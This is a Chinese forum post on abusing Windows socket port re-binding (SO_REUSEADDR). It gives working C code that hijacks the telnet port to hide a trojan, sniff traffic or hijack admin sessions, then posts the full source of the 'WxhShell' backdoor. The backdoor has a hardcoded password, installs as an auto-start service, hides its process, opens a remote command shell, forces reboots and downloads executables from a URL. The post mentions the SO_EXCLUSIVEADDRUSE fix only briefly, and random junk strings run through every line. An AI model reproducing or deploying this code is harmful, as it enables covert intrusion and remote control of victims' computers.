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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t6>Q e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VDI S`E  
>IydXmTy  
  saddr.sin_family = AF_INET; Spw=+z<<Ub  
P`Wf'C^h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /r 2.j3:l  
U~`^Y8UF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /01(9(  
(DaP~*c3cC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tNNg[;0  
QMfy^t+I  
  这意味着什么?意味着可以进行如下的攻击: *gMP_I  
j`-y"6)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MicVNs  
KKTfxNxJn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WiCM,wDi  
.`8,$"`4)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?g1 .-'  
DB= cc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #3ro?w  
_EBDv0s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lkJ#$Ik&  
Vy"^]5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !(AFT!  
x/q$RcDOm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jc.Uh9Kc  
H;8]GE2n  
  #include ^RDXX+  
  #include 42[:s:  
  #include >qGR^yvb  
  #include    cO?"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R$,iDv.jI  
  int main() g. VIe  
  { #)eJz1~  
  WORD wVersionRequested; tg`!svL!  
  DWORD ret; 2Mi;}J1C{  
  WSADATA wsaData; i'LTKj  
  BOOL val; *bC^X'  
  SOCKADDR_IN saddr; }^bL'  
  SOCKADDR_IN scaddr; dM$G)9N)K  
  int err; /XK`v=~(l{  
  SOCKET s; ^i k|l=  
  SOCKET sc; ~(E8~)f)  
  int caddsize; f9bz:_;W_  
  HANDLE mt; kEDZqUD  
  DWORD tid;   L|'ME| '  
  wVersionRequested = MAKEWORD( 2, 2 ); 9&FV =}MO  
  err = WSAStartup( wVersionRequested, &wsaData ); E|#R0n*  
  if ( err != 0 ) { QX3![;0F  
  printf("error!WSAStartup failed!\n"); ?{Z0g+B1  
  return -1; I%WK*AORM  
  } H/I`c>Zn  
  saddr.sin_family = AF_INET; s3%8W==rBW  
   @*{BX~f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]ZATER)jq  
JF=ABJ=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &H>dE]Hq,  
  saddr.sin_port = htons(23); I,uu>-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c&W.slE6  
  { DLM9o3/*J  
  printf("error!socket failed!\n"); *N+aZV}`Z  
  return -1;  -KiS6$-  
  } uk/+ i`=  
  val = TRUE; DfFPGFv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]>i0;R ME  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) />7/S^  
  { =KD*+.'\/  
  printf("error!setsockopt failed!\n"); 6b)UoJxj  
  return -1; 1g.9R@Kc$  
  } \gXx{rLW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1qN9bwRO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *\vc_NP]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3k0%H]wt  
hjT1SW\I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9m9=O&C~-<  
  { mwhn=y#]*  
  ret=GetLastError(); dz9-+C{m  
  printf("error!bind failed!\n"); rq?x]`u   
  return -1;  n(1" 6  
  } za/#R_%p  
  listen(s,2); B)`X 7uG  
  while(1) 3]'z8i({7Y  
  { m%\[1|N  
  caddsize = sizeof(scaddr); JH;DVPX9z  
  //接受连接请求 Q^Z}Y~.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [SvwJIJJ  
  if(sc!=INVALID_SOCKET) ]}l!L;  
  { _q$ fw&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `roSOX1f  
  if(mt==NULL) O{R5<"g  
  { jG :R\D}0  
  printf("Thread Creat Failed!\n"); FI5C&d5d  
  break; 3dphS ^X  
  } }O{"qs#)  
  } PSE| 4{'  
  CloseHandle(mt); t"Hrn3w  
  } rT)R*3  
  closesocket(s); 'E,Yht=/}  
  WSACleanup(); hj1 jY  
  return 0; :W.(,65c  
  }   0E[Se|!  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4et#Q  
  { qZ }XjL  
  SOCKET ss = (SOCKET)lpParam; N|LVLsK  
  SOCKET sc; 0/]vmDr  
  unsigned char buf[4096]; ".ZiR7Z:$Y  
  SOCKADDR_IN saddr; uoHhp4>^  
  long num; QD~ `UJe>  
  DWORD val; YPEd XU8}  
  DWORD ret; c y$$}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r&DK> H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !:e qPpz  
  saddr.sin_family = AF_INET; \&90$>h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'wt|buu-H  
  saddr.sin_port = htons(23); 6iWuBsal  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vm4oaVi  
  { i6kyfOI  
  printf("error!socket failed!\n"); ?Sxnq#r#  
  return -1; # GGmA.  
  } XQ+hTtP  
  val = 100; -9"Ls?Cu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i=+6R  
  { I:"`|eHxv  
  ret = GetLastError(); AK =k@hT  
  return -1; 5?MvO]_  
  } <|iU+.j\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bwFc>{Wo5  
  { !Ua#smZ  
  ret = GetLastError(); u<zDZ{jt)  
  return -1; KRe=n3 1  
  } }D O#{@af  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0iHI "9z  
  { Y."[k&P-  
  printf("error!socket connect failed!\n"); ja2]VbB  
  closesocket(sc);  &i!]  
  closesocket(ss); )f rtvN7  
  return -1; A9gl|II  
  } TW0^wSm  
  while(1) KK?~i[aL  
  { ffVYlNQ7L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3R><AFMY?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (" %yV_R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~/%){t/uLY  
  num = recv(ss,buf,4096,0); oH0\6:S  
  if(num>0) )%7A. UO)  
  send(sc,buf,num,0); jp]JF h;3  
  else if(num==0) AtOB'=ph*  
  break; ez>@'yhK  
  num = recv(sc,buf,4096,0); )J0VB't  
  if(num>0) t;'.D @  
  send(ss,buf,num,0); _HQa3wj  
  else if(num==0) @:I/lg=Qd  
  break; 4`F*] Ft  
  } OA0\b_  
  closesocket(ss); `L>'9rbZO  
  closesocket(sc); elN3B91\6r  
  return 0 ; t}nRWo  
  } ;Z*RCuwg  
3a0C<hW  
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========================================================== =`U[{3A_  
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下边附上一个代码,,WXhSHELL n'H\*9t  
:\Z0^{  
========================================================== "e"`Or  
o6R(BMwGa  
#include "stdafx.h" ^5+-7+-S  
Mi/_hzZ\  
#include <stdio.h> )C@,mgh  
#include <string.h> wkGF&U  
#include <windows.h> t-Wn@a  
#include <winsock2.h> =DgD&_  
#include <winsvc.h> ^9nM)[/C?  
#include <urlmon.h> 2,\u Y}4  
}!LYV  
#pragma comment (lib, "Ws2_32.lib") P,wJ@8lv  
#pragma comment (lib, "urlmon.lib") 0)NHjKP  
fomkwN  
#define MAX_USER   100 // 最大客户端连接数 v\c3=DbO  
#define BUF_SOCK   200 // sock buffer :FSkXe2yy0  
#define KEY_BUFF   255 // 输入 buffer `dK\VK^  
'9)@U+yfQ  
#define REBOOT     0   // 重启 WA/\x  
#define SHUTDOWN   1   // 关机 BhjXNf9[  
`6A"e Da  
#define DEF_PORT   5000 // 监听端口 ]Vsze4>Z[  
1\p[mN  
#define REG_LEN     16   // 注册表键长度 zSO[f  
#define SVC_LEN     80   // NT服务名长度 ZS-9|EA<  
|&JL6hN  
// 从dll定义API C*9m `xh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vC7sJIch2<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G-qxQD1wK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ) l)5^7=W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jd{J3s '%  
]~P?  
// wxhshell配置信息 4)ISRR  
struct WSCFG { 9pgct6BO  
  int ws_port;         // 监听端口 'K1w.hC<  
  char ws_passstr[REG_LEN]; // 口令 f { ueI<  
  int ws_autoins;       // 安装标记, 1=yes 0=no X%dOkHarB  
  char ws_regname[REG_LEN]; // 注册表键名 e.T5F`Du  
  char ws_svcname[REG_LEN]; // 服务名 ZDf9Npe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wmIq{CXx,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K6X1a7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j405G4BVW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NJp;t[v.^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FueJe/~t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tL~|/C)d R  
y^ :x2P  
}; [{ pc1U-  
!>tXib]:  
// default Wxhshell configuration .^uu* S_  
struct WSCFG wscfg={DEF_PORT, it,%T)2H  
    "xuhuanlingzhe", wKYfqNCH  
    1, ?aCR>AY5X  
    "Wxhshell", mf3G$=[  
    "Wxhshell", LP~$7a  
            "WxhShell Service", Rq 7ksTo  
    "Wrsky Windows CmdShell Service", 4c% :?H@2  
    "Please Input Your Password: ", C{) )T5G  
  1, S:d` z'  
  "http://www.wrsky.com/wxhshell.exe", uxcj3xE#d  
  "Wxhshell.exe" 8+gn Wy  
    }; r,}Zc W+  
4q[r KNl  
// 消息定义模块 'Zzm'pC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1/n3qJyx2}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |'.SOm9)*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )_jO8 )jB  
char *msg_ws_ext="\n\rExit."; !CWqI)=  
char *msg_ws_end="\n\rQuit."; 09"~<W8  
char *msg_ws_boot="\n\rReboot..."; K(p1+ GHC  
char *msg_ws_poff="\n\rShutdown..."; c"~TH.,d  
char *msg_ws_down="\n\rSave to "; roKiSE`  
^Ni)gm{?k  
char *msg_ws_err="\n\rErr!"; + $-a:zx`l  
char *msg_ws_ok="\n\rOK!"; xQ[YQ!l  
~EN@$N^h  
char ExeFile[MAX_PATH]; oGM.{\i  
int nUser = 0; #GF1MFkoS  
HANDLE handles[MAX_USER]; u4 "+u"{d  
int OsIsNt; W+#?3s[FV  
@MM|.# ~T  
SERVICE_STATUS       serviceStatus; `{/=i|6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GA|q[<U  
yH`xk%q_  
// 函数声明 =4I361oMf  
int Install(void); b{oNV-<&{  
int Uninstall(void); Y /+ D4^ L  
int DownloadFile(char *sURL, SOCKET wsh); Wp'\NFe 8  
int Boot(int flag); D>mLSh  
void HideProc(void); KpE#Ye&  
int GetOsVer(void); Y PM>FDxDB  
int Wxhshell(SOCKET wsl); TKE)NIa  
void TalkWithClient(void *cs); IV *}w"r  
int CmdShell(SOCKET sock); p+t8*lkq  
int StartFromService(void); Zy#r<j]T  
int StartWxhshell(LPSTR lpCmdLine); ]-6 G'i?  
Li'T{0)1)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <.<Nw6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >GcFk&x  
x6,RW],FGR  
// 数据结构和表定义 1w5nBVC*$V  
SERVICE_TABLE_ENTRY DispatchTable[] = YMWy5 \  
{ h{m]n!  
{wscfg.ws_svcname, NTServiceMain}, YT_kMy>  
{NULL, NULL} &F:7U!  
}; 2vXMrh\  
3.jwOFH$  
// 自我安装 c.~|)^OXXO  
int Install(void) J+TYm%A;-  
{ Qknd^%  
  char svExeFile[MAX_PATH]; QIw.`$H+  
  HKEY key; aql*@8 )m  
  strcpy(svExeFile,ExeFile); r*g _  
;)kBJ @  
// 如果是win9x系统,修改注册表设为自启动 9\xw}ph  
if(!OsIsNt) { yG_#>3sD+%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s:_5p`w>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jIl-}/2  
  RegCloseKey(key); x:2_FoQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BgRiJFa.d[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z+}SM]m  
  RegCloseKey(key); +vuW 9  
  return 0; lz(9pz  
    } wEp/bR1=  
  } Txxc-$z  
} \-B>']:R4  
else { JdAjKN  
X bg7mj9c  
// 如果是NT以上系统,安装为系统服务 )SQ g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E|6|m8  
if (schSCManager!=0) 81g&WQ'  
{ ZN?(lt)u9  
  SC_HANDLE schService = CreateService vQ h'C.  
  ( qM`SN4C  
  schSCManager, ZTun{Dw{  
  wscfg.ws_svcname, qg|+BIi Uz  
  wscfg.ws_svcdisp,  2AluH8X/  
  SERVICE_ALL_ACCESS, ,s2.l/5r;C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L{=z}QO  
  SERVICE_AUTO_START, P~#jvm!  
  SERVICE_ERROR_NORMAL, #K[ @$BY:  
  svExeFile, qq/Cn4fN8  
  NULL, 1Tl("XV3  
  NULL, 8]c`n!u=`  
  NULL, !6KEW,  
  NULL, O+yR+aXr'8  
  NULL C{Zv.+F  
  ); r B)WHx<  
  if (schService!=0) uZ^i8;i  
  { I2 Kb.`'!  
  CloseServiceHandle(schService); nMnc&8r  
  CloseServiceHandle(schSCManager); K%g\\uo   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OlK2<<  
  strcat(svExeFile,wscfg.ws_svcname); lojn8uL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A~6 Cs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F,W(H@ ~x  
  RegCloseKey(key); H^s SHj  
  return 0; p$V+IJtO(  
    } S\,{ qhd  
  } k"U4E J{  
  CloseServiceHandle(schSCManager); 3ZVfZf  
} nGf@zJDb  
} E|TzrH  
3_-#  
return 1; M}vPWWcl  
} 4 A<c@g2  
U".-C`4v  
// 自我卸载 c;e ,)$)-|  
int Uninstall(void) Grqs*V &|g  
{ w"e2}iE7  
  HKEY key; Xnh1pwDhe<  
w5;EnI  
if(!OsIsNt) { @X#m]ou  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e`oc#Od&x]  
  RegDeleteValue(key,wscfg.ws_regname); ALv\"uUNu+  
  RegCloseKey(key); -1o1k-8d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mc8^{br61  
  RegDeleteValue(key,wscfg.ws_regname); 83h3C EQ  
  RegCloseKey(key); k8ck#%#}Wu  
  return 0; 0 QpWt  
  } E% 'DIs  
} yx-"YV}5  
} -"<f(  
else { ]]7T5'.  
HfF$>Z'kM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !d^`YEfE  
if (schSCManager!=0) cBA[D~s  
{ Nt'5}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zk]~cG5dT/  
  if (schService!=0) +~@Y#>+./l  
  { NplSkv  
  if(DeleteService(schService)!=0) { !9 F+uc5  
  CloseServiceHandle(schService); 9p.>L8  
  CloseServiceHandle(schSCManager); pGFocw  
  return 0; t0q@] 0B5  
  } 7^L&YV W  
  CloseServiceHandle(schService); jDnh/k0{d  
  } kel {9b=i  
  CloseServiceHandle(schSCManager); H1]\B:  
} 4L0LT>'M\  
} :uEp7Y4  
pIXQ/(h31  
return 1; ox6rR  
} .DQ]q o]OG  
^#o.WL%4/B  
// 从指定url下载文件 u *< (B  
int DownloadFile(char *sURL, SOCKET wsh) ?Y9?x,x  
{ QKO(8D6+  
  HRESULT hr; I%Awj(9BS  
char seps[]= "/"; qha<.Ro  
char *token; H,}?YW  
char *file; liTr3T`,V  
char myURL[MAX_PATH]; I?"5i8E  
char myFILE[MAX_PATH]; 9V&LJhDQ  
N9Ml&*%oX{  
strcpy(myURL,sURL); [h1{{Nb#ez  
  token=strtok(myURL,seps); ?]z ._I`E  
  while(token!=NULL) 9 2EMDKJ  
  { -&? -  
    file=token; /p>[$`Aq  
  token=strtok(NULL,seps); -%.V0=G(Z  
  } iH>djGhTh  
U*@_T3N  
GetCurrentDirectory(MAX_PATH,myFILE); 7d)aDc*TjW  
strcat(myFILE, "\\"); *l//r V?l  
strcat(myFILE, file); *pMA V [^  
  send(wsh,myFILE,strlen(myFILE),0); #5D+XBT  
send(wsh,"...",3,0); ;vitg"Zh>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~iWSc8-  
  if(hr==S_OK) S6mmk&n  
return 0; | QA8"&r  
else g6V*wjC  
return 1; <G >PPf}  
N[-)c,O  
} m%&B4E#3T  
7h2bL6Y88  
// 系统电源模块 <c#[.{A}s  
int Boot(int flag) zCrcCr  
{ 9:> K!@  
  HANDLE hToken; s,Swlo7D!  
  TOKEN_PRIVILEGES tkp; c'2ra/?k  
@jHio\/_  
  if(OsIsNt) { (R-Q9F+;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #k)\e;,X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ooQ(bF  
    tkp.PrivilegeCount = 1; B^9 #X5!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .yPx'_e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZTZE_[  
if(flag==REBOOT) { U&R$(k0zS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [_d*J/X  
  return 0; GN0'-z6Uy  
} 5b,98Q  
else { gL`SZr9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0^[6  
  return 0; #pfosC[  
} JyO lVs<T  
  } %a `dO EO  
  else { k:Q<Uanc[  
if(flag==REBOOT) { vvxj{fxb)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4(82dmKO  
  return 0; ny={V*m  
} ([~`{,sv  
else { c29Z1Zs2)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S<~nk-xr*h  
  return 0; #EUgb7  
} :(Bi {cw  
} $Stu-l1e a  
$P3nP=mf  
return 1; [3Rj?z"S  
} 5b p"dIe  
&v,p_'k  
// win9x进程隐藏模块 U@nwSfp:G  
void HideProc(void) 7g9^Jn  
{ Ziimz}WHF  
".f:R9-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N/BU%c ph+  
  if ( hKernel != NULL ) gN~y6c:N  
  { H%]ch6C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n~j[Pw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sj?sw]3  
    FreeLibrary(hKernel); tpONSRY  
  } <>s\tJ  
sdQv:nd'R  
return; 1#"Q' ,7  
} J B@VP{  
UI C? S  
// 获取操作系统版本 ,~(}lvqVH  
int GetOsVer(void) G`"Cqs<  
{ <>_Wd AOuD  
  OSVERSIONINFO winfo; QE2^.|d{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }3w b*,Sbz  
  GetVersionEx(&winfo); ~b0qrjF;O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i&)C,  
  return 1; 2]=I'U<E!  
  else Ir #V2]$  
  return 0; zD<9A6AB  
} `g N68:B  
N1~$ +  
// 客户端句柄模块 (L%q/$  
int Wxhshell(SOCKET wsl) u V7Hsg9l  
{ tYZGf xj  
  SOCKET wsh; <9a_wGs  
  struct sockaddr_in client; @l GnG  
  DWORD myID; XWpnZFjE  
C)s1' =TZ  
  while(nUser<MAX_USER) GK?R76d  
{ pIiED9  
  int nSize=sizeof(client); +z0}{,HX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4uAafQ`@H  
  if(wsh==INVALID_SOCKET) return 1; "B3:m-'  
f*{;\n (.t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ba|}C(Ws?  
if(handles[nUser]==0) i0Q _f!j  
  closesocket(wsh); 9dtGqXX  
else Ml?)Sc"\7  
  nUser++; k^c=y<I  
  } es+_]:7B9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B@inH]wq  
wS*CcIwj  
  return 0; cu!bg+,zl  
}  O'|P|  
Ks2%F&\cE  
// 关闭 socket %C0O?q  
void CloseIt(SOCKET wsh) 3}{5 X'  
{ IA#*T`  
closesocket(wsh); e uHu}  
nUser--; O>M*mTM  
ExitThread(0); #UCQiQfP  
} %W',cu  
R+VLoz*J6  
// 客户端请求句柄 \Rqh|T<D  
void TalkWithClient(void *cs) r5fkt>HZ  
{ ."Ix#\|x  
IPi<sE  
  SOCKET wsh=(SOCKET)cs; ugCS &  
  char pwd[SVC_LEN]; h?3l  
  char cmd[KEY_BUFF]; ANQa2swM  
char chr[1]; )-KE4/G  
int i,j; m_02"'  
\}QuNwc   
  while (nUser < MAX_USER) { 2$zq (  
a& aPBv1  
if(wscfg.ws_passstr) { >"g<-!p@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vLFaZ^(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OMI!=Upz  
  //ZeroMemory(pwd,KEY_BUFF); y{Y+2}Dv/  
      i=0; [Pwo,L,)  
  while(i<SVC_LEN) { |z.GSI_!)  
Jo aDX ,  
  // 设置超时 |\n)<r_  
  fd_set FdRead; #IhLpO  
  struct timeval TimeOut; qL5#.bR  
  FD_ZERO(&FdRead); ;AGs1j  
  FD_SET(wsh,&FdRead); 3k*:B~1  
  TimeOut.tv_sec=8; -b\ V(@5  
  TimeOut.tv_usec=0; gq_7_Y/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j /dE6d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ->2wrOH|H  
l3?,gd.-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rk jKIa  
  pwd=chr[0]; :Mu8W_  
  if(chr[0]==0xd || chr[0]==0xa) { &Dg)"Xji  
  pwd=0; u4,X.3V]A  
  break; b}&7~4zw  
  } +}XL>=-5  
  i++; ciGpluQF  
    } N!Wq}#&l  
$K.%un Gm  
  // 如果是非法用户,关闭 socket m7wc)"`t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?WQd  
} 'Rkvsch  
r;on0wm&B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CziaxJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x"l lX  
R(? <97  
while(1) { D PS1GO*  
RnA&-\|*  
  ZeroMemory(cmd,KEY_BUFF); _{*$>1q  
5 2@udp  
      // 自动支持客户端 telnet标准   (o6[4( G  
  j=0; $dZ>bXUw:  
  while(j<KEY_BUFF) { [[?[? V ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <qq'h  
  cmd[j]=chr[0]; vJj:9KcP>h  
  if(chr[0]==0xa || chr[0]==0xd) { &ap`}^8pM  
  cmd[j]=0; 3:~l2KIP4  
  break; 8>VI$   
  } przubMt  
  j++; Cwsoz  
    } Ku0H?qft(  
z>mZT.  
  // 下载文件 )+w/\~@  
  if(strstr(cmd,"http://")) { @!":(@3[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bQXc IIa{  
  if(DownloadFile(cmd,wsh)) iz9\D*or  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"TUe>cM  
  else ^Cc8F3os=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @[5_C?2  
  } >w2Q 1!  
  else { OAW=Pozr9  
|6sT,/6  
    switch(cmd[0]) { CQBT::  
  Ox7uG{t$#  
  // 帮助 @zr8%8n  
  case '?': { |{7e#ww]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W s^+7u  
    break; '0R/6Z|/Y  
  } Th7wP:iDP  
  // 安装 BcZEa^^~os  
  case 'i': { &Rt+LN0qB0  
    if(Install()) C!ZI&cD9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wGOMUWAt  
    else Jw:Fj {D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rV8(ia  
    break; |'U,/  
    } 00`bL  
  // 卸载 kZU"Xn  
  case 'r': { B^i mG  
    if(Uninstall()) '?{0z!!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  /,1SE(  
    else hi;WFyJTu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <CNE>@-f  
    break; 4NpHX+=P  
    } T>\nWancQM  
  // 显示 wxhshell 所在路径 %PQldPL8  
  case 'p': { u;+%Qh  
    char svExeFile[MAX_PATH]; ?G4iOiyt  
    strcpy(svExeFile,"\n\r"); c&Gz> L  
      strcat(svExeFile,ExeFile); kF(Ce{;z  
        send(wsh,svExeFile,strlen(svExeFile),0); K,x$c %  
    break; }iPo8Ra  
    } Po Yr:=S?  
  // 重启 QO5OnYh  
  case 'b': { ; @ 7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eZ!yPdgy|  
    if(Boot(REBOOT)) f![xn2T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V.K70)]  
    else { ZhGh {D[,  
    closesocket(wsh); Nl~Z,hT$*  
    ExitThread(0); U/.w;DI   
    } !: m`9o8  
    break; :0M' =~[  
    } "2ZIoa!^  
  // 关机 u{g]gA8s  
  case 'd': { ?JuX~{{. L  
